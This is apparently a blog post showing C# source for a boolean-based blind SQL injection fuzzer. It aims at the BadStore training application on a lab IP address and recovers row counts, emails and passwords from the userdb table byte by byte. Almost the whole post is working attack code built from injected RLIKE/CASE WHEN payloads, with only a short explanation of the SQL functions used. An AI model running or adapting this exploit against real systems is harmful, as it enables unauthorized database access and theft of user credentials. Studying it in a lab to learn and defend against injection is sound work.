Creating a Blind/Boolean based mutational fuzzer to dump the database.
m3rcer
This Program is a Boolean-Based Blind mutational fuzzer that will use true/false questions in order to glean information 1 byte at a time.
This exploit is more complicated than the UNION based sql fuzzer and requires much more time to retrieve the data.
- We use the:
RLIKE function
to match values with a regular expression which can be used like an ‘if-else’ statement for true/false queries.Couple “CASE WHEN” statements in the
RLIKE function
for the ‘if-else’ functionality.COUNT(*) function
to return an integer for the number of rows in a table.MID() function
returns a particular substring depending on the starting index and length to return.ORD() function
converts a given input into an integer equivalent for matching data. - The
GetString() method
from the “Encoding.ASCII” class to convert the array of bytes returned into a human readable string.
Code block:
using System;
using System.Net;
using System.Reflection;
using System.IO;
using System.Net.Sockets;
using System.Collections.Generic;
using System.Text;
namespace Boolean_Blind_Sql_Injection
{
class Program
{
static void Main(string[] args)
{
// Asks server for length of no of rows in userdb table
int countLength = 1;
for (; ; countLength++)
{
string getCountLength = "fdsa' RLIKE (SELECT (CASE WHEN ((SELECT";
getCountLength += " LENGTH(IFNULL(CAST(COUNT(*) AS CHAR), NULL)) FROM";
getCountLength += " userdb)=" + countLength + ") THEN 0x28 ELSE 0x41 END))";
getCountLength += " AND '";
string response = MakeRequest(getCountLength);
if (response.Contains("parentheses not balanced"))
break;
}
// Asks server for no of rows in userdb table
List<byte> countBytes = new List<byte>();
for (int i = 1; i <= countLength; i++)
{
for (int c = 48; c <= 58; c++)
{
string getCount = "fdsa' RLIKE (SELECT (CASE WHEN (ORD(MID((SELECT";
getCount += " IFNULL(CAST(COUNT(*) AS CHAR), NULL) FROM userdb),";
getCount += i + ", 1))=" + c + ") THEN 0x28 ELSE 0x41 END)) AND '";
string response = MakeRequest(getCount);
if (response.Contains("parentheses not balanced"))
{
countBytes.Add((byte)c);
break;
}
}
}
// Converts and prints no of rows
int count = int.Parse(Encoding.ASCII.GetString(countBytes.ToArray()));
Console.WriteLine("[+] No of rows in userdb: " + count);
// Calling methods and printing values
for (int row = 0; row < count; row++)
{
foreach (string column in new string[] { "email", "passwd" })
{
Console.WriteLine("[!] Getting length of query value...");
int valLength = GetLength(row, column);
Console.WriteLine(valLength);
Console.WriteLine("[!] Getting value...");
string value = GetValue(row, column, valLength);
Console.WriteLine(value);
}
}
}
// Makes request and returns response
private static string MakeRequest(string payload)
{
string url = "http://192.168.216.128/cgi-bin/badstore.cgi?action=search&searchquery=";
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url + payload);
string response = string.Empty;
using (StreamReader reader = new StreamReader(request.GetResponse().GetResponseStream()))
response = reader.ReadToEnd();
return response;
}
// Ask server for actual length of the value
private static int GetLength(int row, string column)
{
// Retrieves length
int countLength = 0;
for (; ; countLength++)
{
string getCountLength = "fdsa' RLIKE (SELECT (CASE WHEN ((SELECT";
getCountLength += " LENGTH(IFNULL(CAST(CHAR_LENGTH(" + column + ") AS";
getCountLength += " CHAR),NULL)) FROM userdb ORDER BY email LIMIT ";
getCountLength += row + ",1)=" + countLength + ") THEN 0x28 ELSE 0x41 END)) AND";
getCountLength += " 'TiT'='TiT";
string response = MakeRequest(getCountLength);
if (response.Contains("parentheses not balanced"))
break;
}
// Retrieve length actual val
List<byte> countBytes = new List<byte>();
for (int i = 0; i <= countLength; i++)
{
for (int c = 48; c <= 58; c++)
{
// Changed it to a single string as it was easier to debug
string getLength = "fdsa' RLIKE (SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(CHAR_LENGTH(" + column + ") AS CHAR),NULL) FROM userdb ORDER BY email LIMIT " + row + ",1)," + i + ",1))=" + c + ") THEN 0x28 ELSE 0x41 END)) AND 'TIT'='TIT";
string resp = MakeRequest(getLength);
if (resp.Contains("parentheses not balanced"))
{
countBytes.Add((byte)c);
break;
}
}
}
if (countBytes.Count > 0)
return int.Parse(Encoding.ASCII.GetString(countBytes.ToArray()));
else
return 0;
}
// Ask server and retrieve a given value
private static string GetValue(int row, string column, int length)
{
List<byte> valBytes = new List<byte>();
for (int i = 0; i <= length; i++)
{
for (int c = 32; c <= 126; c++)
{
string getChar = "fdsa' RLIKE (SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(" + column + " AS CHAR),NULL) FROM userdb ORDER BY email LIMIT " + row + ",1)," + i + ",1))=" + c + ") THEN 0x28 ELSE 0x41 END)) AND 'TIT'='TIT";
string response = MakeRequest(getChar);
if (response.Contains("parentheses not balanced"))
{
valBytes.Add((byte)c);
break;
}
}
}
return Encoding.ASCII.GetString(valBytes.ToArray());
}
}
}